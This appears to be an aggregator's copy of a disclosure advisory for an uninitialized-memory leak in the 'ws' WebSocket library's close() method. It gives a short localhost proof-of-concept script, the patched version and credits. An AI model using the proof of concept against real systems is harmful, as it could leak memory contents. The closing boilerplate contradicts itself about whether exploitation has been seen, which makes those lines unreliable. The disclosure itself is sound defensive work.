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GHSA-58qx-3vcg-4xpx
No affected components available
Impact
The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.
Proof of concept
import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer(
{ port: 0, skipUTF8Validation: true },
function () {
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`, {
skipUTF8Validation: true
});
ws.on('close', function (code, reason) {
deepStrictEqual(reason, Buffer.alloc(80));
});
}
);
wss.on('connection', function (ws) {
ws.close(1000, new Float32Array(20));
});
Patches
The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).
Credits
Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.
Remarks
Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.
Resources
- https://github.com/advisories/GHSA-58qx-3vcg-4xpx
- https://www.cve.org/CVERecord?id=CVE-2026-45736
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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